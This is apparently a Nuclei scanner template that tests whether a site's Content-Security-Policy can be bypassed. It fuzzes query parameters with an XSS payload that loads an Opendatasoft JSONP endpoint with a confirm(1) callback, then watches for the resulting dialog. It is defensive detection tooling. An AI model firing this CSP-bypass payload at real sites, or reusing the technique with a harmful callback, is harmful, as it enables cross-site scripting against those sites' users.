opendatasoft-docs-csp-bypass: Content-Security-Policy Bypass - Opendatasoft Docs

id: opendatasoft-docs-csp-bypass

info:
  name: Content-Security-Policy Bypass - Opendatasoft Docs
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,opendatasoft-docs,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "opendatasoft.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: opendatasoft_docs_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://documentation-resources.opendatasoft.com/api/datasets/1.0/doc-geonames-cities-5000/?format=jsonp&callback=confirm(1);"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "opendatasoft_docs_csp_xss == true"
# digest: 490a0046304402206f4d0db71e3709cddeec9083e055808ccaf921c848a60299e56d0d09d262a811022011df9f21d1a6b9d5943c0b3c4991e352f2b6f10cd4caa5df0043b4d228efa174:922c64590222798bb761d5b6d8e72950